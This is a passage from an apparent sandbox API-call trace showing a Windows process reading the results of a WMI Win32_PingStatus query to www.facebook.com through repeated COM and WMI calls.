pPrx=0x5c593c0, dwProperty=2, pdwValue=0x572e880 | out: pdwValue=0x572e880) returned 0x80004002 [0138.460] WbemLocator:IUnknown:Release (This=0x3b3c6c) returned 0x2 [0138.460] CoGetContextToken (in: pToken=0x572edc4 | out: pToken=0x572edc4) returned 0x0 [0138.460] CoGetContextToken (in: pToken=0x572ed24 | out: pToken=0x572ed24) returned 0x0 [0138.460] IUnknown:QueryInterface (in: This=0x353728, riid=0x572edf4*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x572ecc0 | out: ppvObject=0x572ecc0*=0x353728) returned 0x0 [0138.460] IUnknown:Release (This=0x353728) returned 0x2 [0138.460] SysStringLen (param_1=0x0) returned 0x0 [0138.460] IEnumWbemClassObject:Reset (This=0x353728) returned 0x0 [0138.533] CoTaskMemAlloc (cb=0x4) returned 0x5c68888 [0138.533] IEnumWbemClassObject:Next (in: This=0x353728, lTimeout=-1, uCount=0x1, apObjects=0x5c68888, puReturned=0x2290394 | out: apObjects=0x5c68888*=0x5c506a0, puReturned=0x2290394*=0x1) returned 0x0 [0138.609] IUnknown:QueryInterface (in: This=0x5c506a0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572e66c | out: ppvObject=0x572e66c*=0x5c506a0) returned 0x0 [0138.609] IUnknown:QueryInterface (in: This=0x5c506a0, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x572e620 | out: ppvObject=0x572e620*=0x0) returned 0x80004002 [0138.609] IUnknown:QueryInterface (in: This=0x5c506a0, riid=0x713c1e84*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x572e448 | out: ppvObject=0x572e448*=0x0) returned 0x80004002 [0138.610] IUnknown:AddRef (This=0x5c506a0) returned 0x3 [0138.610] IUnknown:QueryInterface (in: This=0x5c506a0, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x572df7c | out: ppvObject=0x572df7c*=0x0) returned 0x80004002 [0138.610] IUnknown:QueryInterface (in: This=0x5c506a0, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x572df2c | out: ppvObject=0x572df2c*=0x0) returned 0x80004002 [0138.610] IUnknown:QueryInterface (in: This=0x5c506a0, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572df38 | out: ppvObject=0x572df38*=0x5c506a4) returned 0x0 [0138.610] IMarshal:GetUnmarshalClass (in: This=0x5c506a4, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x572df40 | out: pCid=0x572df40*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0138.610] IUnknown:Release (This=0x5c506a4) returned 0x3 [0138.610] CoGetContextToken (in: pToken=0x572df98 | out: pToken=0x572df98) returned 0x0 [0138.610] CoGetContextToken (in: pToken=0x572e3ac | out: pToken=0x572e3ac) returned 0x0 [0138.610] IUnknown:QueryInterface (in: This=0x5c506a0, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572e42c | out: ppvObject=0x572e42c*=0x0) returned 0x80004002 [0138.611] IUnknown:Release (This=0x5c506a0) returned 0x2 [0138.611] CoGetContextToken (in: pToken=0x572e994 | out: pToken=0x572e994) returned 0x0 [0138.611] CoGetContextToken (in: pToken=0x572e8f4 | out: pToken=0x572e8f4) returned 0x0 [0138.611] IUnknown:QueryInterface (in: This=0x5c506a0, riid=0x572e9c4*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x572e9c0 | out: ppvObject=0x572e9c0*=0x5c506a0) returned 0x0 [0138.611] IUnknown:AddRef (This=0x5c506a0) returned 0x4 [0138.611] IUnknown:Release (This=0x5c506a0) returned 0x3 [0138.611] IUnknown:Release (This=0x5c506a0) returned 0x2 [0138.611] CoTaskMemFree (pv=0x5c68888) [0138.611] CoGetContextToken (in: pToken=0x572ed04 | out: pToken=0x572ed04) returned 0x0 [0138.611] IUnknown:AddRef (This=0x5c506a0) returned 0x3 [0138.611] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__GENUS", lFlags=0, pVal=0x572f004*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x572f084*=0, plFlavor=0x572f080*=0 | out: pVal=0x572f004*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x572f084*=3, plFlavor=0x572f080*=64) returned 0x0 [0138.612] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__PATH", lFlags=0, pVal=0x572efe8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x572f06c*=0, plFlavor=0x572f068*=0 | out: pVal=0x572efe8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x572f06c*=8, plFlavor=0x572f068*=64) returned 0x0 [0138.612] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0138.612] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0138.612] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4c4 [0138.612] SetEvent (hEvent=0x3f4) returned 1 [0138.612] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x572efc0*=0x4c4, lpdwindex=0x572ede4 | out: lpdwindex=0x572ede4) returned 0x0 [0138.616] CoGetContextToken (in: pToken=0x572ee94 | out: pToken=0x572ee94) returned 0x0 [0138.616] CoGetContextToken (in: pToken=0x572edf4 | out: pToken=0x572edf4) returned 0x0 [0138.616] WbemDefPath:IUnknown:QueryInterface (in: This=0x37ba58, riid=0x572eec4*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x572eec0 | out: ppvObject=0x572eec0*=0x37ba58) returned 0x0 [0138.617] WbemDefPath:IUnknown:AddRef (This=0x37ba58) returned 0x3 [0138.617] WbemDefPath:IUnknown:Release (This=0x37ba58) returned 0x2 [0138.617] WbemDefPath:IWbemPath:SetText (This=0x37ba58, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x0 [0138.617] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572f040 | out: puCount=0x572f040*=0x2) returned 0x0 [0138.617] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572f03c*=0x0, pszText=0x0 | out: puBuffLength=0x572f03c*=0xf, pszText=0x0) returned 0x0 [0138.617] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572f03c*=0xf, pszText="00000000000000" | out: puBuffLength=0x572f03c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.617] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572efa8 | out: puCount=0x572efa8*=0x2) returned 0x0 [0138.617] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572efa4*=0x0, pszText=0x0 | out: puBuffLength=0x572efa4*=0xf, pszText=0x0) returned 0x0 [0138.617] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572efa4*=0xf, pszText="00000000000000" | out: puBuffLength=0x572efa4*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.617] IWbemClassObject:Get (in: This=0x5c506a0, wszName="Address", lFlags=0, pVal=0x572efa4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2290e18*=0, plFlavor=0x2290e1c*=0 | out: pVal=0x572efa4*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.facebook.com", varVal2=0x0), pType=0x2290e18*=8, plFlavor=0x2290e1c*=0) returned 0x0 [0138.617] SysStringByteLen (bstr="www.facebook.com") returned 0x20 [0138.617] SysStringByteLen (bstr="www.facebook.com") returned 0x20 [0138.617] IWbemClassObject:Get (in: This=0x5c506a0, wszName="Address", lFlags=0, pVal=0x572efac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2290e18*=8, plFlavor=0x2290e1c*=0 | out: pVal=0x572efac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.facebook.com", varVal2=0x0), pType=0x2290e18*=8, plFlavor=0x2290e1c*=0) returned 0x0 [0138.617] SysStringByteLen (bstr="www.facebook.com") returned 0x20 [0138.617] SysStringByteLen (bstr="www.facebook.com") returned 0x20 [0138.617] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572efa8 | out: puCount=0x572efa8*=0x2) returned 0x0 [0138.618] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572efa4*=0x0, pszText=0x0 | out: puBuffLength=0x572efa4*=0xf, pszText=0x0) returned 0x0 [0138.618] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572efa4*=0xf, pszText="00000000000000" | out: puBuffLength=0x572efa4*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.618] IWbemClassObject:Get (in: This=0x5c506a0, wszName="PrimaryAddressResolutionStatus", lFlags=0, pVal=0x572efa4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2290edc*=0, plFlavor=0x2290ee0*=0 | out: pVal=0x572efa4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2290edc*=19, plFlavor=0x2290ee0*=0) returned 0x0 [0138.618] IWbemClassObject:Get (in: This=0x5c506a0, wszName="PrimaryAddressResolutionStatus", lFlags=0, pVal=0x572efac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2290edc*=19, plFlavor=0x2290ee0*=0 | out: pVal=0x572efac*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2290edc*=19, plFlavor=0x2290ee0*=0) returned 0x0 [0138.618] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572efa8 | out: puCount=0x572efa8*=0x2) returned 0x0 [0138.618] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572efa4*=0x0, pszText=0x0 | out: puBuffLength=0x572efa4*=0xf, pszText=0x0) returned 0x0 [0138.618] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572efa4*=0xf, pszText="00000000000000" | out: puBuffLength=0x572efa4*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.618] IWbemClassObject:Get (in: This=0x5c506a0, wszName="StatusCode", lFlags=0, pVal=0x572efa4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2290f70*=0, plFlavor=0x2290f74*=0 | out: pVal=0x572efa4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2290f70*=19, plFlavor=0x2290f74*=0) returned 0x0 [0138.619] IWbemClassObject:Get (in: This=0x5c506a0, wszName="StatusCode", lFlags=0, pVal=0x572efac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2290f70*=19, plFlavor=0x2290f74*=0 | out: pVal=0x572efac*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2290f70*=19, plFlavor=0x2290f74*=0) returned 0x0 [0138.619] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572ecf4 | out: puCount=0x572ecf4*=0x2) returned 0x0 [0138.619] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ecf0*=0x0, pszText=0x0 | out: puBuffLength=0x572ecf0*=0xf, pszText=0x0) returned 0x0 [0138.619] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ecf0*=0xf, pszText="00000000000000" | out: puBuffLength=0x572ecf0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.619] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__NAMESPACE", lFlags=0, pVal=0x572ecf0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x229146c*=0, plFlavor=0x2291470*=0 | out: pVal=0x572ecf0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x229146c*=8, plFlavor=0x2291470*=64) returned 0x0 [0138.619] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.619] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.620] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__NAMESPACE", lFlags=0, pVal=0x572ecf8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x229146c*=8, plFlavor=0x2291470*=64 | out: pVal=0x572ecf8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x229146c*=8, plFlavor=0x2291470*=64) returned 0x0 [0138.620] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.620] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.620] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572ecf4 | out: puCount=0x572ecf4*=0x2) returned 0x0 [0138.620] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ecf0*=0x0, pszText=0x0 | out: puBuffLength=0x572ecf0*=0xf, pszText=0x0) returned 0x0 [0138.620] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ecf0*=0xf, pszText="00000000000000" | out: puBuffLength=0x572ecf0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.620] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__CLASS", lFlags=0, pVal=0x572ecf0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2291508*=0, plFlavor=0x229150c*=0 | out: pVal=0x572ecf0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2291508*=8, plFlavor=0x229150c*=64) returned 0x0 [0138.620] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.620] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.620] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__CLASS", lFlags=0, pVal=0x572ecf8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2291508*=8, plFlavor=0x229150c*=64 | out: pVal=0x572ecf8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2291508*=8, plFlavor=0x229150c*=64) returned 0x0 [0138.620] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.620] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.620] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572ecf4 | out: puCount=0x572ecf4*=0x2) returned 0x0 [0138.620] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ecf0*=0x0, pszText=0x0 | out: puBuffLength=0x572ecf0*=0xf, pszText=0x0) returned 0x0 [0138.620] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ecf0*=0xf, pszText="00000000000000" | out: puBuffLength=0x572ecf0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.620] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__Derivation", lFlags=0, pVal=0x572ecf0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2291664*=0, plFlavor=0x2291668*=0 | out: pVal=0x572ecf0*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5c5de90*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5c68968, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2291664*=8200, plFlavor=0x2291668*=64) returned 0x0 [0138.620] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__Derivation", lFlags=0, pVal=0x572ecf8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2291664*=8200, plFlavor=0x2291668*=64 | out: pVal=0x572ecf8*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5c5de00*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5c68968, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2291664*=8200, plFlavor=0x2291668*=64) returned 0x0 [0138.621] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572ecf4 | out: puCount=0x572ecf4*=0x2) returned 0x0 [0138.621] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ecf0*=0x0, pszText=0x0 | out: puBuffLength=0x572ecf0*=0xf, pszText=0x0) returned 0x0 [0138.621] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ecf0*=0xf, pszText="00000000000000" | out: puBuffLength=0x572ecf0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.621] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__CLASS", lFlags=0, pVal=0x572ecf0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22918cc*=0, plFlavor=0x22918d0*=0 | out: pVal=0x572ecf0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22918cc*=8, plFlavor=0x22918d0*=64) returned 0x0 [0138.621] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.621] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.621] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__CLASS", lFlags=0, pVal=0x572ecf8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22918cc*=8, plFlavor=0x22918d0*=64 | out: pVal=0x572ecf8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22918cc*=8, plFlavor=0x22918d0*=64) returned 0x0 [0138.621] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.621] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.621] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572ecf4 | out: puCount=0x572ecf4*=0x2) returned 0x0 [0138.621] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ecf0*=0x0, pszText=0x0 | out: puBuffLength=0x572ecf0*=0xf, pszText=0x0) returned 0x0 [0138.621] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ecf0*=0xf, pszText="00000000000000" | out: puBuffLength=0x572ecf0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.621] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__Derivation", lFlags=0, pVal=0x572ecf0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22919f4*=0, plFlavor=0x22919f8*=0 | out: pVal=0x572ecf0*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5c5de90*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5c68968, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x22919f4*=8200, plFlavor=0x22919f8*=64) returned 0x0 [0138.622] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__Derivation", lFlags=0, pVal=0x572ecf8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22919f4*=8200, plFlavor=0x22919f8*=64 | out: pVal=0x572ecf8*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5c5de00*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5c68968, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x22919f4*=8200, plFlavor=0x22919f8*=64) returned 0x0 [0138.623] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e920 | out: puCount=0x572e920*=0x2) returned 0x0 [0138.623] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e91c*=0x0, pszText=0x0 | out: puBuffLength=0x572e91c*=0xf, pszText=0x0) returned 0x0 [0138.623] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e91c*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e91c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.623] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e920 | out: puCount=0x572e920*=0x2) returned 0x0 [0138.623] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e91c*=0x0, pszText=0x0 | out: puBuffLength=0x572e91c*=0xf, pszText=0x0) returned 0x0 [0138.623] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e91c*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e91c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.623] IWbemClassObject:GetNames (in: This=0x5c506a0, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x572e928*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x572e91c | out: pNames=0x572e91c*="\x01ƀ\x04") returned 0x0 [0138.623] SafeArrayGetDim (psa=0x5c78d28) returned 0x1 [0138.623] SafeArrayGetDim (psa=0x5c78d28) returned 0x1 [0138.623] SafeArrayGetLBound (in: psa=0x5c78d28, nDim=0x1, plLbound=0x572e7b4 | out: plLbound=0x572e7b4) returned 0x0 [0138.623] SysStringByteLen (bstr="__GENUS") returned 0xe [0138.623] SysStringByteLen (bstr="__GENUS") returned 0xe [0138.623] SysStringByteLen (bstr="__CLASS") returned 0xe [0138.623] SysStringByteLen (bstr="__CLASS") returned 0xe [0138.623] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0138.623] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0138.623] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0138.624] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0138.624] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0138.624] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0138.624] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0138.624] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0138.624] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0138.624] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0138.624] SysStringByteLen (bstr="__SERVER") returned 0x10 [0138.624] SysStringByteLen (bstr="__SERVER") returned 0x10 [0138.624] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0138.624] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0138.624] SysStringByteLen (bstr="__PATH") returned 0xc [0138.624] SysStringByteLen (bstr="__PATH") returned 0xc [0138.624] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__GENUS", lFlags=0, pVal=0x572e918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2293310*=0, plFlavor=0x2293314*=0 | out: pVal=0x572e918*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x2293310*=3, plFlavor=0x2293314*=64) returned 0x0 [0138.624] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__CLASS", lFlags=0, pVal=0x572e918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2293418*=0, plFlavor=0x229341c*=0 | out: pVal=0x572e918*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2293418*=8, plFlavor=0x229341c*=64) returned 0x0 [0138.624] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.624] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.624] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__SUPERCLASS", lFlags=0, pVal=0x572e918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22934ac*=0, plFlavor=0x22934b0*=0 | out: pVal=0x572e918*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22934ac*=8, plFlavor=0x22934b0*=64) returned 0x0 [0138.625] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__DYNASTY", lFlags=0, pVal=0x572e918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2293570*=0, plFlavor=0x2293574*=0 | out: pVal=0x572e918*(varType=0x8, 